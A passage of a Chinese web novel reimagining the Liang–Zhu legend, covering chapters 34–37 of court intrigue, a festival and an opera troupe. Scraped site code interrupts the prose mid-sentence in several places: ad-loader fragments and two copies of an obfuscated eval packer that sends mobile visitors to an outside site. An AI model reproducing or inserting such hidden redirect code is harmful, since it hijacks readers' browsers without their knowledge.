从前他对之避之不谈,是因为喜欢,所以不介意。此刻揭露,更是因为喜欢,所以在为自己加码,争取达成目的。 而祝英回…… 并不太介意他的行为,只是有一点很是苦恼:“这原本倒没什么,我有七八个兄弟,本也不缺我一个人传承香火。” 修长的手指有一下没一下在桌子上轻叩:“若是知道你我之间的事情,恐怕恨不得第二日就去找你爹商谈亲事。” 祝英回凤目流转,拉长了声线:“不过,马太守只你一个独子,恐怕无法接受这件事情。” “若我父母真的去了,你想好怎么与他解释了吗?” 马文才羽翼未丰,还没有出仕,无论如何都是拗不过马太守的。 祝家爹娘那是心心念念让她嫁进太守府,随便给个理由也不会揭穿她是个女子的事情。 但是祝英回还是真怕他俩找媒婆商议亲事。 “同窗到家中邀你出去玩耍,顺道遇上端午,为何会有成亲一说?”马文才慢条斯理道,笑意盎然“英回?” 祝英回无奈:“好,你去我家见我爹娘,但是到时候不许露馅了,否则我真怕他们一个激动上你家去了。” 马文才笑了起来,他站在窗边,祝英回坐在桌案旁,忽而,温热的唇瓣落在了祝英回眼睫处。 他俯身,鸦青长发落在祝英回脖颈旁,让她有些痒,却能看见他几乎是虔诚地亲吻她的眉眼。 不过瞬间的功夫,这个不算吻的吻便结束了。 祝英回怔愣片刻,站了起来,偏了偏头,她掀开帘子,慢慢地走到了马文才身前。 祝英回勾住他的脖颈,主动亲吻他的唇瓣。 他们唇齿相依,却也只是浅尝辄止。 祝英回看着还没回过神的恋人,笑意浅浅:“马兄,这才叫亲吻。” 刚刚开窍的公子遇上情场老手,哪怕祝英回怕吓到他,只是轻轻的一个吻,也叫他白如冷玉的面容烧起红霞。 马文才踉跄着后退了两步,墨黑的桃花眼盛满了惊慌失措,却还要强装镇定。 祝英回看着他随便扯了个理由就落荒而逃,心情颇好地回了屋子继续整理信件。 然而,她看见了被惊得整个人都傻掉了的祝英台。 祝英台三两步急冲冲地跨到窗边:“不是,姐你……你……” 她想问祝英回哪儿来的经验,更想问上次遭遇黑店时演出来的那种万花丛中过,片叶不沾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身的感觉是从哪儿学的。 嘴唇张张合合,愣是一句完整的话都没憋出来。 祝英回看着妹妹这个样子,倏然起了坏心眼:“英台,你没看过避火图吗?” 除却逗弄妹妹之外,还因为现在不流行世情小说,祝英回也就只能用避火图糊弄过去了。 祝英台:…… 她看着自己美貌绝伦的姐姐笑吟吟地支着下巴,一颦一笑都是风情万种:“娘亲给我们备的嫁妆里,这种东西可不少……” 看着祝英台面色烧红,她故意拖长尾音:“我偷偷看过,叫我很是长了见识,里面各色各样五花八门……” 祝英台连耳根都红成了一片,但她也并不算避讳这个东西—— 乱世之中,人人重欲,贪好享受,她读书更是见识过不少稀奇古怪的玩儿法。 她又是害羞,又有点好奇:“姐……哥哥,避火图里,也是画得如嫪毐那般的角色吗?” 祝英回唔了一声:“该是没有的,毕竟避火图一般都是男人画来,嫪毐天赋异禀,寻常人可没有这份天赋。” 见姐姐姿态坦然,祝英台也渐渐放松,她在心里琢磨了一圈,道:“天下之大,无奇不有,说不得嫪毐之能,除去天生,还有后天培养的缘故呢?” 她又想了想,严谨地否定了这个想法:“不,应该还是先天的因素比较多,若能后天培养,那岂非贵族男子人人都是嫪毐。” 祝英回也起了兴趣,跟她讨论:“也不一定,毕竟当今世家风流放纵,又流行五石散这等伤身的东西,就算有法子,他们也坚持不下来。” 祝英台点了点头,忽而说:“咱们那些个盟友,多多少少有好男色的,哥哥,我以为无论男女,纵欲都是伤身的,多少还是得劝着些。” “是得劝着些。”祝英回点头赞同“只是乐于此道的也没必要太劝,阴阳和合之道自古有之,只要适量,还是能带来快乐的。” 祝英台严肃地点了点头,她沉思片刻:“那崔婉等人……” 清婉的少女不自觉地蹙了蹙眉:“她们遭遇太过悲惨,这辈子恐怕都没有接近男人的想法了,咱们也得看着些,免得以后人多了,有人来揭她们伤疤。” 祝英回颔首:“如今官场,将美色交易视为平常,这等风气也得刹一刹了。” “歌女也好、青楼女子也罢,都是些可怜人。” 饭都吃不饱、命都保不住的自愿不是自愿,是被时代裹挟的被自愿。 世人从不将天灾人祸时背井离乡逃难视为自愿,却在看见女子出卖自己时口口声声说是自愿—— 为了活下去的逼不得已算什么自愿? 只要她这么做了,而不是为了贞洁饿死、自杀,所有人就都可以讥笑她,都可以嘲讽她,仿佛她是个多么下贱的人。 迫不及待往她房间里面钻的人为了升官发财对着上官点头哈腰,恨不得将自己所学所知全部都称出斤两的人,难道不算另一种意味上的卖? 只不过这世界上女子卑弱,而人总爱划分等级,将女子中最弱的一批人,划到了最下面的等级,好满足他们高高在上的心而已。 34.金佛诞辰 四月初八浴佛节,在南北朝算是一个比较重要的节日。 奈何祝英台她们六个人,两个人是根本不信佛,其余四个人都是可信可不信。 但是山长和夫子显然是相信的,否则也不会在这一天特意带着书院中的学子去山下佛寺上香。 沐佛节的前三日,食堂的饭菜中就没有荤腥〔1〕了。 王述白无聊赖地挑着盘子里的没调料的肉,尼山书院的厨子处理得还不错,但没有调料的遮盖,没阉过的猪肉腥臊味根本掩盖不住。 祝英台匆匆低头两三口把饭扒完了,催促着姐姐:“快吃快吃,别叫这东西在嘴里呆久了。” 祝英回手边放着一盏茶,她面不改色地一口饭一口茶,若不是她餐盘的饭还剩一多半,谁也看不出来这人嘴刁。 早早吃完饭的马文才端着一碟子点心走了过来,换走了祝英回面前的餐盘。 他坐了下来,毫不避讳地低头把剩下的饭都吃完了:虽然挑剔,但祝英回好似有些奇怪的坚持,绝不剩饭。 祝英回松了一口气,抿了一口茶把嘴里的腥味冲散,难得低声抱怨:“子不语怪力乱神,这饭菜倒是让我信了这神神鬼鬼的……” 王述也吃得龇牙咧嘴的,他没有祝英回绝不剩饭的执念,但是左看看右瞧瞧,大家都没剩饭,他也就只能苦着脸把饭往嘴里塞。 听见祝英回抱怨,他借机把箸放下,讲自己听来的事情:“我听说,这次之所以要所有人一起去上香,是因为出了大事儿。” 祝英回眸光一闪:“出了什么事儿?” “不知道。”王述摇了摇头“我爹没告诉我具体的,只是让我最近安分些,不许添乱。” 其余人交换了眼神,心里大致有数了—— 能叫蓝田侯特地叮嘱王述不要闯祸,那估计都是建康那一块儿的事儿了。 祝英回祝英台心知肚明,这恐怕与自己有点关系。 桓温当政时皇帝本来就换得快,她命人传的那些话,无论是增加了谢安王羲之的底气也好,还是传到了桓温耳朵里、叫他愤怒也好—— 都是激化了双方的矛盾。 看来,晋穆帝司马聃要提前病逝了。 祝英回敛眸饮茶,觉得有些可惜,司马聃还只是十来岁的小孩子,他坐在皇位上,摄政的人一个又一个地换。 从未染指过权力,就因为岁数大到能够亲政,便病逝了。 祝英台目光移向姐姐,若有若无地发出了询问。 祝英回笑道:“叫所有人一起去上香,许是有贵人呢?” 马文才含糊地肯定了她的猜测:“总之多准备些不会错的。” 回到宿舍后,祝英台道:“是琅琊王么?” 祝英回将书信一封封辨别,摘出投入火中:“是他固然很好,但是不是他,也没有什么。” 琅琊王司马昱,东晋开国皇帝司马睿之子,司马聃的叔祖父,也是如今摄政之人。 当然,明面上司马昱摄政,崇德太后褚蒜子垂帘听政,实际上权力掌握在王谢庾三家与桓温手中。 这位琅琊王日后为桓温扶持登基,不到八个月便忧愤而死。 更关键的是,因为在东晋王室中就数他活得长,德高望重,而且膝下儿女无数。 那位性格剽悍、逼婚王献之的新安公主便是他的女儿。 其中有很多年龄合适的。 政治是需要天赋的,此次上香,也许就能看出哪一位小郡主有天赋,从而择定人选。 上香当日,那位贵人终于露了面,正是琅琊王司马昱。 队伍绵延数十里,规模宏大又奢侈,日后的新安公主,现在被特封的余姚公主能养成那么个性格,也和司马昱绵延不断的权势有关。 司马昱本人倒是端着一副慈祥和蔼的样子,演技很是不错,颇为耐心地与山长夫子们交谈。 尤其是与顾幸和孟之义。 祝氏姊妹淹没在人群中,没有丝毫出头的意思,而那边,司马昱终于将目光投向了学生们。 被他看见的第一个,就是马文才,司马昱拍了拍他的肩,颇为欣慰:“长这么大了,我听夫子说,你文科武课都很不错。” 马文才不动声色地往祝英回所在的地方扫了一眼,确定她并没有跟从这位远方叔叔的意思,便只是简单地寒暄:“王爷谬赞了。” 司马昱欸了一声,责备道:“你我叔侄,还说什么王爷不王爷的,叫我一声叔父就是了。” 马文才:…… 这人是觉得他年不过十八,就很好忽悠吗? 他彬彬有礼道:“长辈亲近,小子不敢推辞,然而礼不可废。” 在他这里吃了个软钉子,司马昱也不在乎,只是笑眯眯道:“好,好,复己克礼,日后定然是国家栋梁。” 周围的人有的抄着手看热闹,有的一脸殷切,但是无论如何,站在最前面的学子司马昱都勉励了两句—— 尼山书院的好些学子家世不凡,建康贵族就那么几个,与司马昱多多少少都能叫出些关系来。 琅琊王和王妃一同与尼山书院的山长共同进入大殿焚香,随后是司马昱的长子长女带领着底下的弟弟妹妹以齿序入、夫子们带领着学子们陆续入内。 两列人并列,一步步登上台阶,从小沙弥手中接过三炷香,点燃后插入香炉。 祝氏姊妹就在前后,两个人不约而同地看到了同一个女童。 那女童约摸八九岁的样子,年岁虽小,行事却极有章法。 她三姐司马道福的脾气并不算好,虽然不至于为难底下的弟弟妹妹,但与其余人仍旧多有摩擦。 其余人要么多加忍让,要么就互不相让,最后考虑到今天有外人在,各退一步。 唯有此女,不仅司马道福高傲的脾气在她面前有所收敛,就连其他人产生了矛盾时也会下意识地看向她。 令人惊喜的发现。 聪明、冷静,最关键的是,有意也好,无意也罢,她都在维护自己在兄弟姐妹之间的地位,而非独善其身。 心气儿和野心,发自内心地享受更高的地位,才是最重要的。 祝英回收回了目光,和妹妹对视一眼,心照不宣。 排序、特征,有了这些虽然不足以打听出一位宗室女的名字,但是已经足够打听到她的母亲,并且锁定到具体的人身上。 祝英台善丹青,擅长记忆人的面貌特征,不怕找错人,而现在并不是唐突的时候。 两人沉下心,按部就班地进行着上香的步骤。 佛像崭新而金光璀璨,闪得祝英台皱眉,祝英回琢磨着把外面的金漆宝石刮了换钱、里面的铜身融了充实国库。 王述在她们后面进香,紧紧闭着嘴,但从他的表情上也能看出来无语,其余学子神色各异。 梁荀二人眼珠子直勾勾地钉在佛像上,恨不得亲手去把这东西扒了。 待到进香这一流程过去,小沙弥们引着学子和年岁尚小的孩子进了后面的厢房,奉上了茶水点心,方便诸位大人谈正事儿。 不过片刻功夫,梁山伯的院子里就聚集了六个人。 荀巨伯气得胸腔剧烈起伏,怒极反笑:“好好好,劝课农桑没钱没精力,新铸造一尊硕大佛像倒是有这钱是吧?” 祝英回懒懒地把玩着手中的茶杯:“当地太守知府都追求上进。”她言语中讽刺意味十足“自然要讨好如今辅政的贤王,这恐怕还只是冰山一角罢了。” 毕竟多手准备才万无一失,谁说佛沐节琅琊王就一定会去寺庙? 就算去了,谁又知道他会去哪一间? 只怕尼山书院附近寺庙中供奉的佛像,即使没有重铸,也好好地翻修了一次。 驿站、行宫,更是如此。 对于此等奢靡浪费,王述的感触没有那么深,他不赞同的另有其事:“这位把咱们都当傻子吗?” “他那点心思也就能骗骗庾非言这种蠢东西。” 听见王述鄙夷庾非言的脑子,祝英台古怪地看了他一眼,颇具暗示意味地讲起了另一件事情:“他到尼山书院来,最可能是冲着谁来的。” 建康没有佛寺吗?如此兴师动众大张旗鼓,却带上了自己的孩子,看起来倒像是郊外踏青似的。 “除非,他的目的本来就与自己的孩子有关系。”马文才倏而开口,他若有所思地回忆“琅琊王世子与我们年岁相当。” 除去琅琊王世子之外,司马昱还有不少介于青年与少年之间的孩子。 这种做派…… 倒像是为太子提前铺路的样子。 司马昱当皇帝,除去桓温的选择之外,他自己估计也是有这份心思的。 否则宗室千千万,他一个摄过政、脑子明显还算好使、辈分高到几乎没有人能对他指手画脚的琅琊王,怎么就胜过了一堆丧父的婴幼儿被选中当傀儡的? 祝英回忽然想起了一件事情,那就是新安公主看上有妇之夫王献之时,司马曜最开始并不同意,但是不知为何后来又同意了。 新安公主的第一任丈夫是桓温之子,司马昱父子能上位与桓温有着密不可分的关系。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 司马曜上位第二年,桓温一命呜呼,新安公主的丈夫桓济与桓温之弟桓秘密谋杀死叔父桓冲的事情败露,被流放。 桓冲并没有去见病重的哥哥最后一面,反而是在哥哥死后,将两个侄子大张旗鼓地拿下,出席了葬礼。 桓秘在此之后为家族所厌弃,却还能与谢安交好,在他们二人私交的书信中,时常提到已经死去的司马昱。 自孝武帝一朝后,龙亢桓氏匿迹无踪。 新安公主在其中起到了什么作用,无人得知,但是司马曜显然承认这个姐姐的功劳。 如此看来,想当皇帝是真的,但是对于司马来说,更重要的是权力回到司马家手中。 于是他布了一个很大的局,最终成就了自己的儿子手中的实权。 年仅十岁的孩子被立为皇太子后登基,神奇地渐渐掌握了权力,虽然最后因为好色翻车了,但是司马昱的谋算不能说不精细。 他此刻行事却如此急躁,那只能说明,建康内部已经斗起来了。 不得不提前为自己的孩子铺路,哪怕这些孩子并不让他满意,也只能仓促地一同培养。 因为机会稍纵即逝,司马昱很可能马上就要以身入局。 祝英回对司马昱的了解来自于后世的剧透和记载,虽然不完全真实,但其余人对此人几乎是毫无了解。 一直未曾说话的梁山伯一双眼眸里尽是怒色,他紧紧抿着唇,显然对此地官员如此做派感到不满。 “他将我们当成什么?心血来潮之时不管不顾地随意出行,对当地官员的行为视若无睹,他……” 而出乎人意料的是,马文才沉吟了片刻,忽而提出了一个可能性:“也许并不是他轻视我们,而是觉得,一个友好的态度就已经够了。” 得益于他的出身,会稽太守家的公子对朝政有更多的了解。 当然也包括动荡的朝局和不断变化的皇帝人选。 辅政大臣的身份并不够让各个世家看到一点儿好处就扑上去,但是,坐上了皇位就是另一个完全不同的层次了。 马文才扪心自问,若是司马昱当真坐上了皇位,到了那一日,今日的事情被再次提起,他是会有完全不同的态度的。 这句话背后的含义,大家心知肚明。 一时间,院子中的气氛冷了下来。 诸人神色各异,荀梁二人对此事没有表达出明显的方案,神情却带着隐约的抗拒。 王述被点拨过后,嘶了一声,陷入了沉思。 祝英台左看看右瞧瞧,不得不感慨了一声:司马昱已经拉拢到他想拉拢的人了,可惜他错估了当前的形势。 桓温、龙亢桓氏对于司马家来说,的确是心腹大患。 但是现在更重要的是世人人心崩散无意效忠朝廷、胡人在江那边虎视眈眈,时刻有灭国之危机,你还在这里搞政斗! 多少是有点儿分不清大小王了。 没了桓氏和庾氏,还有谢氏、王氏、崔氏、褚氏…… 就算司马昱暂时捞回了皇权,没有民心所向、没有士人拥护,之后还是被操纵的份儿。 汉人的江山没了那可是真没了啊! 她是这么想的,干脆道:“胡人猖獗,那金佛若是作为军费,至少可威慑胡人不轻易渡江。” 祝英台冷笑一声:“搜刮来的民脂民膏,又不能用之于民,还不知又弄得有多少农户家破人亡。” 其余四人看向她,神色中或多或少的带着认同。 祝英回神色欣然,非常满意妹妹抓住了重点—— 搞什么政斗,先把江那边搞定再说吧! 忽而,马文才扭头看向院子外面,祝氏姐妹也听见了细微的声响,三人交换了一个眼神。 祝英台放轻了脚步声往门口去,其余二人手一撑低矮的院墙,直接出了院子。 祝英台听着外面的声音,猝然拉开门,就看见了一个女童在外面意图偷听,身后竟然一个侍女婆子都没有。 她低头看见了此女面容,诧异地扬了扬眉:是她们今日看中的女童。 那女童惊慌了一瞬,随后大大方方地拱手:“诸位兄长安好。” 一个声音从她后面闲闲地传了过来:“不敢当郡主一声兄长。” 祝英回和马文才一个双手抱胸,一个垂手而立,说话的,正是此刻饶有兴致的祝英回。 女童笑得很甜:“你们与我堂哥是朋友,自然也就是我的兄长了。” 她俏皮地眨了眨眼:“尤其是长得最漂亮的二位兄长,看起来很喜欢我呢!” 35.沐佛日 祝英回面容上闪过一丝古怪,祝英台被猛的呛了一下。 偏生女童还睁着圆溜溜的眼睛无辜地问询:“二位兄长,怎么了?” 怎么了? 祝英台上上下下地打量了一番这个小姑娘:“没什么,只是见你天真可爱、活泼好动,忧心你的安全罢了。” 她微笑道:“毕竟此地荒无人烟,就算侍卫将之层层包围,也难免会有些疏漏之处,出了意外便不好了。” 祝英台上前一步,弯腰牵起了女童的手,感知到猝然僵硬的小手,她不得不感叹了一声:聪明是有的,但是还不够。 偏偏这点聪明叫她生出了自傲。 “郡主还是入内来吧,否则若是出了什么意外,我们可没法向两位殿下交代。” 她转头笑着看向祝英回:“哥哥,你与马兄去寻婆子仆从吧,将这位贵人带回去。” 祝英回直到她的想法,爽快地点了点头:“走吧马兄。” 马文才意味不明地看了祝英台一眼,扬了扬下巴:“王述,愣着做什么,去端些点心茶水来。” 王述翻了个大大的白眼,还是转身往小厨房去了。 荀巨伯看出了点儿门道,伸手就揽住了梁山伯:“山伯,上次我说的经典这次正巧带来了,一道去看看。” 梁山伯为难地看了一眼女童,荀巨伯无声地对他说了几个字,他犹豫了片刻,便跟着去了。 几乎是瞬间,整个院子就只剩下了女童和祝英台。 女童肉眼可见地越发慌张,她走到这里原本是个意外,偷听却不是意外,面前这个人和他的哥哥对她那异常的关注更是让她此刻惴惴不安。 怎么办呢? 呼救?还是逃跑? 呼救只会激怒此人,尼山书院的学生习武科,不可能抓不到一个小女孩。 她拼命思索着对策,打出生以来便顺风顺水的小女孩绝望地发现,就算此人真的对她做了点什么。 她不仅跑不了,甚至在事后也只能主动遮掩。 女童在此刻,才真正为自己的自傲后悔。 她在这里东想西想脑补了一大堆,祝英台看着她沉浸在自己的世界里,脸色变来变去,差点没忍住笑出声。 但是祝英台的目的可不是让这小丫头产生心理阴影,当时正经拱手道:“我们兄弟对郡主并无它意,只是郡主玉雪可爱,忍不住多看了两眼罢了。” ……不是喜好娈童妖女的变态? 祝英台温和地将女童抱到凳子上坐下:“郡主,还未曾请教封号?” “黎川,叫我黎川就好了。” 祝英台从善如流,继续劝谏:“黎川殿下,君子不立危墙之下,您实在不该不带侍从护卫。” 黎川闷闷地应了一声,今日可让她吃足了惊吓和教训,但是反应过来之后,她也明白了此人就是故意为之。 若是其他朝代,如此对待郡主多多少少会吃点挂落。 但是司马家嘛…… 不提也罢。 甚至祝英台有劝谏的心思,就已经是大大的忠臣了。 缓过来之后,黎川很是好奇:“你们到底在说些什么?” 祝英台笑道:“殿下不若猜一猜?” 黎川思索片刻,认真地揣摩:“你们应该是在说我父王,但是不知道你们在说他好还是不好。” 此言一出,她就听见面前的人反问她:“郡主以为呢?” 八九岁的小丫头,已经懂得了自家处境的微妙艰难,但是再怎么懂事,也猜不到她自己身上去,再结合祝英台的态度,她不由得抱着希望询问:“是好?” 祝英台笑而不语,但是黎川知道自己猜错了。 小丫头明亮圆钝的眼睛暗淡下来:“我知道,谁也不会觉得我们好的。” “旁人我不敢置喙。”祝英台抬手摸了摸黎川的头“但是我与哥哥都觉得郡主极好,无关出身,是殿下自己聪敏机谨。” 她想了想,又补充了一句:“能更谨慎些,就更好了。” 祝英台听见了王述的脚步声,起身开门:“殿下,好好读书吧。” 祝英台对黎川的所有期盼,都寄托在这一句意味不明的好好读书中。 黎川暂时还不明白,但是她仰着头看着这个出奇温和的大哥哥打开门,把他的朋友迎进来,又接过点心碟子。 两人随意地谈笑抱怨了几句,自然又平常。 却让黎川将这一幕深深地记进了心里,也记住了那句好好读书。 待到诸人陆陆续续地回了院子,黎川看着找来的仆从,跳下了凳子:“谢谢你们的款待!” 她仰头笑得很乖:“我以后不会不带仆从护卫了。” 待黎川走后,马文才啧了一声:“想不到你还愿意管这种事儿。” 梁山伯倒很是欣慰:“英台,你能以温和的方式劝服她,实在是再好不过,我所不及。” 唯独祝英回与妹妹交换了一个眼神,对其中关窍心知肚明。 此次寺庙一行,可以说是取得了出乎意料的成果,意外之下格外圆满。 只是虽然祝氏姊妹的事情办完了,琅琊王的事情可还没有,山长和夫子们少不得陪着在寺庙里多住了几日。 好在也不太拘着学生们不许外出,沐佛节山下惯常是要摆三天大戏、开三天集市,热闹非凡。 就连日常泡在苦水里的百姓,在这样的节日里仿佛也能暂时忘却了所有苦楚,用几枚铜板买一碗糖水分着喝,甜一甜嘴。 祝英回对集市里的玩意儿、台子上唱的戏并不太感兴趣—— 从现代过来,什么精巧的东西没见过? 而她又欣赏不来这些唱腔。 不过,看祝英台的表情,台子上唱的戏很是精彩,精彩到她忘记了手里的甜水儿,目瞪口呆地站在原地。 祝英回蹙了蹙眉,低声问:“他们唱的是什么?” 祝英台咽了口口水,同样低声说:“唱的是一个有家室的男人,他爱上了另一个男人。” 如果是这样,虽然叫人恶心,但也很正…… 祝英台接着道:“他的妻子发现了这件事情,这个男人就杀了自己的妻子,他的儿子知道了,就动手杀了他。” 嘶—— 祝英回一时之间都不知道该惊讶哪一点。 爱上男子的男人被唾弃杀死,而且还是被自己的儿子杀死,这几乎是对着整个上层阶级和九品中正制吐了一口口水,说你们这些家伙真恶心。 她琢磨了一会儿,道:“咱们得去见见排戏的人。” 旁边的马文才闭了闭眼,他终究是按不住恼:“此人于妻子无义,于情人无刚,于儿孙不慈,落得此等下场也是寻常……” “可是他无论是喜欢男子还是喜欢女子,都会如此!做什么要映射……” 祝英回安抚他:“此人与你不同,排戏的人并非是咒你我下场惨淡,不必放在心上。” 见他还是有些气恼,祝英回伸手安抚性的握住了他的手。 十指交握,马文才的怒气顿时下去了不少。 然而眨眼之间,还与他并肩的恋人,便与祝英台去找那排戏的人了。 马文才:…… 黑衣公子冷着脸,找了个茶楼,坐在二楼靠窗处最容易观察底下人的位置,注视着祝氏兄弟进了后台。 后台里上妆打扮的,卸妆休息的,鱼龙混杂,看见进来了两个俊俏的少年,不约而同地停了手。 祝英回彬彬有礼地询问:“方才那出戏唱的极好,不知是哪位写得本子、排的戏?” 离他们最近的那个角儿妖妖娆娆地站了起来,靠在她身上:“娘子何必又在意这件事儿呢?戏看得好,您捧个场,不就得了。” 那角儿似乎是个花旦,吴侬软语,娇俏动人:“您二位呀,就赏个脸再看一场,好伐?” 祝氏姊妹的伪装,一个回合都没走过,就被拆穿了。 不知道该说尼山书院的学子缺乏社会经验,还是该说这些角儿常年扮上妆,做男做女都有,练就了火眼金睛。 祝英回也不甚在意,只道:“附近有贵人,你们唱这样的戏,容易惹恼当地官员。” 纵使琅琊王本人不好男色,看了也就是一笑而过,但本地官员荤素不忌的可不少,这几日巡查得勤快,说不得就被当场抓住打板子了。 花旦眼神一凝,随即放松:“娘子好心,我们实在无以为报,不如……” 祝英台伸手挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13617502|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了她:“不必做这等样子,我们对你们没有那种兴趣。” 那花旦沉默半晌,终于收起了那股子风月妖娆的样子,冷声道:“既然如此,二位前来是来做什么的?” 她眼神扫过祝英回,不胜讥讽:“为了不做那黑衣公子的可怜亡妻么?” 要说害怕,她们其实没多害怕,毕竟戏班子天南海北地唱戏,大不了把这两人打晕了放在这里,然后立刻收拾东西走人。 但是此二人非要见班主的行为,叫人烦不胜烦。 祝英回啧了一声,大大方方道:“并非如此,我只是想问一问班主,这出戏里,谁唱的是恶角儿。” 她轻缓的声音在后台里回荡:“是那个主角儿么?又或者是视若无睹的所有人?” 这出戏是一个复仇故事,但是儿子杀渣滓只用了一下,反而将更多的笔墨放在女主角得知此事后是如何痛苦、如何为难,又是如何被杀死的上面。 除去主要角色外,出现的次要角色未免太多。 女主角的公婆,周围的邻居、小孩儿、青年—— 但是相同的是,他们都在劝女主角忍下这口气。 在女主角发现渣滓喜欢男人之前,世界上所有人仿佛都不知道这件事。 但当她知道之后,才痛苦的发现,原来全世界只有她不知道。 祝英台冷不丁道:“那个孩子,与他的父亲决裂了吗?” 花旦浑身一震,沉默了下去。 而一道清朗的女音从最后面传了出来:“除去她扮演的角色之外都是恶角,以及,没有。” 在现实世界中,儿子理解父亲,反过来指责自己的母亲不够贤良淑德。 祝英台很是疑惑:“那为什么要这么写?” 一个穿着青衣短打的飒爽女子站在了她们身前:“因为,没有人会承认自己是会因为男外室谋杀妻子的恶人。” 她哂笑道:“同样的,也不会有人想为了自己的母亲对抗自己的父亲。” 起过杀妻心思的丈夫会心虚而沉默,看着母亲遭受折磨而视若无睹的儿子会破口大骂。 “我们也是要吃饭的,两位娘子。”班主眨了眨眼。 无比现实的理由。 祝英台没有再继续追问下去,她换了个话题:“班主甘心只将此事放在戏台上吗?” “不甘心又能怎样,世道如此。”班主啧了一声,又重复了一遍“我们也是要吃饭的,小娘子。” 祝英回点了点头:“既然如此,那我们就不打扰了。” 她笑着祝福:“班主财源广进。” 班主笑了:“娘子心想事成。” 祝英台被姐姐拉着出了后台,一时之间还没有反应过来,就如此平淡地结束了。 她几乎是茫然地发问:“为什么?” 她看着姐姐的眼睛,想从中找到答案:“哥哥,为什么?” 祝英台听见了姐姐无奈又宽容的声音:“英台,很多人只是活着,就已经很难了。” “我们不可能要求其余人如我们一般,放弃一切,去追求一个渺茫的可能性。” 祝英台沉默了下来。 静静听着姐姐说:“她们咽下仇恨,只是想好好的活着而已,这样的愿望已经足够卑微,足够让人恻隐,为什么还要打破她们的希望呢?” 祝英台怔了很久,最终道:“这份仇恨,我们会替她们记住。” 祝英回笑着点头:“是,我们会替她们记住这份屈辱和仇恨。” “然后百倍奉还。” 戏班子里的人没有任何错,她们已经尽自己最大的努力生活,甚至冒着进监牢的风险为曾经认识的人喊冤。 想要平平静静的活着,是最不应该被打破的愿景。 祝英台想,她与姐姐殚精竭虑,想要保护的东西,不就是这个么? 她只是有些说不清道不明的孤独罢了。 原来,世界上不是所有人都愿意与她一同反抗,并肩而行。 祝英台猛然扎进姐姐怀里,瓮声瓮气:“姐姐,还好我们会一直一起。” 还好这条路上不止我一个人,还好我还有一个与我志同道合的人,还好我可以与另一个人一道去追逐那份理想。 36.第 36 章 日近端午,天气也一日日炎热起来,尼山书院条件再如何不错,也没有仆从斩冰驱逐暑气。 王述有气无力地趴在桌子上,眼睛都快睁不开了,但他都还算好,有些混不吝的世家子弟已经不顾夫子铁青的神色,睡得口水横流了。 汗水将衣服浸透,黏在身上又闷又热,祝英回扯了扯领口,长长地叹了一口气,每年的这个时候,她都发自内心地思念现代的空调。 冰块再解暑,也没有在屋里吹着空调舒服。 琢磨着去信让崔婉他们给底下人安排些解暑的绿豆汤,祝英回打着折扇,另一只手稳稳地运笔在书上画了一个圈,在旁边又写下了一行小楷批注。 祝英台不自觉地靠了过来,像只小猫那样蹭姐姐扇出来的凉风,偏生祝英回也惯着她,挪了挪位置,让她能被扇到。 祝英台舒坦地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13721231|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯起了眼睛,精神一振,把袖子一挽,继续偷偷写她的回信—— 这些日子传来的书信越来越多,以至于她们一直在考虑是否要在书院外租个屋子专门放置,免得被人撞见露了馅。 今日上课的夫子姓何,与从前那位高洁雅致的何丞相有些亲缘,性格很是耿介温和,见状,干脆将讲课结了个尾,道:“既然大家都不堪酷暑,那我们去寻个地方避暑吧。” 37.巧 祝英台惊悚地猛然回头,她盯了马文才一眼,闭了闭眼,神色松弛下来。 她瞬间领会了姐姐到底把真相跟这个人说到了什么程度。 七分真,三分假。 那就没什么好担心的。 对于马文才来说,他是独生子,马太守可未必愿意让他和一个男人成亲,为了确保不被强拆,马文才会表现得只是同窗而已。 而对于祝家父母来说,若是没有确定马文才对祝英回一往情深,贸然上门只会叫马太守觉得自家女孩儿不端庄,赔了夫人又折兵。 祝英台心里冷嘲,就好像他们矜持一些,做的就不是老鸨子卖花魁的买卖了一样。 祝英回安抚地碰了碰她的手,祝英台收敛了神色,道:“你要去也行,但是我哥跟你说过我们家里……” 又来了,那种奇怪的感觉。 祝氏兄弟的关系太好了,他们之间的默契仿佛在另一个层次,另一个他无法踏足的层次。 马文才按下心中的焦躁,淡淡颔首:“我知道。” 三人都不着急回家,干脆在路上慢慢悠悠地游山玩水,等到了会稽郡祝氏家门口,已经是小半个月过去了。 祝府大门紧闭,祝英回正待敲门时,一个小厮许是出门办事,一开门,抬头就看见了二人,脱口而出就是一句:“小姐……” 两个字出口,才发觉还有第三人,剩下的话顿时卡在喉咙里,祝英台心里一紧,连忙关切地问:“两位小姐怎么了?” 那小厮也是鬼机灵,当即反应了过来,为难地看了一眼马文才。 祝英回帮腔:“无妨,他不是外人。” 小厮胡乱扯了一句:“两位小姐昨夜受了风寒,夫人叫我给小姐请大夫。” “夫人还说二位怎么还没回来,小姐们生病都还不见人影,怕不是忘了回家呢。” 事情是真的,不过受了风寒的不是祝氏姊妹,而是祝英台祝英回的一位同胞兄长,虽不严重,但难免叫祝夫人念叨此刻不在家的两个女儿。 